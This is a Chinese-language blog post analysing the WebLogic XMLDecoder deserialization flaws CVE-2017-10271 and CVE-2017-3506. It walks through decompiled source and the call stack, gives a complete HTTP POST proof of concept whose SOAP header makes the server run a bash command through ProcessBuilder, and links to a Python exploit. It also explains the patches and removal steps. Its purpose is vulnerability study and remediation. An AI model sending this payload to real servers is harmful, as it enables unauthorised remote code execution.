weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)
一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html
二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html
三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html
四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
影响版本:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本
0. 漏洞分析
通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在<ns2:frame />标签中:
从调用栈可以明确的看到源码中weblogic调用函数的过程:
processRequest
>readHeaderOld
>receive
>receiveRequest
>receiveRequest
>readEntry
>readUTF
我们发送的poc经过这部分处理,就到了 <ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>
中。
processRequest函数源码为:
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}
WorkAreaConstants.WORK_AREA_HEADER:
public interface WorkAreaConstants{
String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
String WORK_PREFIX = "work";
String XML_TAG_WORK_CONTEXT = "WorkContext";
String XML_TAG = "work:WorkContext";
QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}
readHeaderOld源码:
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
其中:
ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组
ByteArrayInputStream: 将字节数组转化为输入流
上述过程中,var4会被赋予Poc中java标签内的代码,即:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4z</string>
</void>
</array>
<void method="start"/></void>
</java>
WorkContextXmlInputAdapter代码:
public WorkContextXmlInputAdapter(InputStream var1){
this.xmlDecoder = new XMLDecoder(var1);
}
可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。
1. 利用过程
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
**python版完整利用代码: ** https://github.com/b4zinga/Explib/blob/master/weblogic.py
2. 修复建议
- 安装补丁
四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{ int next = 0;
next = is.read(); while (next != -1)
{
baos.write(next);
next = is.read();
}
} catch (Exception e)
{ throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{ public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (SAXException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (IOException e)
{ throw new IllegalStateException("Parser Exception", e);
}
}
其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。
10271补丁:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
本次限制了object,new, method, void,array
等关键字段,这样就不能生成Java实例,所以不能执行命令。
- 删除WLS-WebServices组件
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)的更多相关文章
- weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)
目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by ba ...
- java反序列化——XMLDecoder反序列化漏洞
本文首发于“合天智汇”公众号 作者:Fortheone 前言 最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDeco ...
- weblogic系列漏洞整理 -- 1. weblogic安装
目录 0. 概述 1. 下载安装Java环境 2. 下载安装weblogic 安装 部署domain域 进入weblogic 3. 排错 如果出现如下错误 0. 概述 WebLogic是美国Oracl ...
- weblogic系列漏洞整理 -- 3. weblogic 后台提权
目录 三. weblogic 后台提权 0. 思路分析 1. 利用过程 2. 提示和技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.ht ...
- weblogic系列漏洞整理 -- 2. weblogic弱口令
目录 二. weblogic弱口令 0. 思路 1. python爆破脚本 2. 技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.htm ...
- 【研究】Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
影响范围: Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.1.3.0.0版本 Oracle WebLogic Server ...
- Java反序列化漏洞从入门到深入(转载)
前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...
随机推荐
- LeetCode--No.004 Median of Two Sorted Arrays
4. Median of Two Sorted Arrays Total Accepted: 104147 Total Submissions: 539044 Difficulty: Hard The ...
- python 变量进阶(理解)
变量进阶(理解) 目标 变量的引用 可变和不可变类型 局部变量和全局变量 01. 变量的引用 变量 和 数据 都是保存在 内存 中的 在 Python 中 函数 的 参数传递 以及 返回值 都是靠 引 ...
- 内链接、左右连接、union并集
第一个:内连接接 inner join select * from a inner join b on a.id=b.id where a.id =b.id (这种用法 ...
- thymeleaf 的使用
thymeleaf 语法详解1.变量输出: th:text :在页面中输出某个值 th:value :将一个值放到input标签中的value中.2.判断字符串是否为空 ①:调用内置对象一定要用# ② ...
- 分布式锁之redisson
redisson是redis官网推荐的java语言实现分布式锁的项目.当然,redisson远不止分布式锁,还包括其他一些分布式结构.详情请移步:https://github.com/mrniko/r ...
- Ubuntu Docker版本的更新与安装
突然发现自己的docker版本特别的低,目前是1.9.1属于古董级别的了,想更新一下最新版本,这样最新的一下命令就可以被支持.研究了半天都没有更新成功,更新后的版本始终都是1.9.1 :查阅了官网资料 ...
- 附实例!实现iframe父窗体与子窗体的通信
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由前端林子发表于云+社区专栏 本文主要会介绍如何基于MessengerJS,实现iframe父窗体与子窗体间的通信,传递数据信息.同时本 ...
- Java 8 新特性-菜鸟教程 (8) -Java 8 日期时间 API
Java 8 日期时间 API Java 8通过发布新的Date-Time API (JSR 310)来进一步加强对日期与时间的处理. 在旧版的 Java 中,日期时间 API 存在诸多问题,其中有: ...
- docker使用技巧小记
1.在使用docker的时候有很多人习惯使用官方镜像.有的人喜欢自己制作镜像,有的时候都是使用默认的配置启动的服务,或者自己在制作镜像的时候直接将配置文件打包到镜像里面了.有的时候会碰到要修改配置文件 ...
- BizTalk Orchestration execute Flat file disassembler ReceivePipeline
需求是这样,在一个inbound XML中有个一点节点使用平文件的方式存放,还要解析比如固定长度或根据特殊字符截取字段 也就是需要在流程里面先把输入的XML的节点先读出来,这个方式有很多可以直接升级属 ...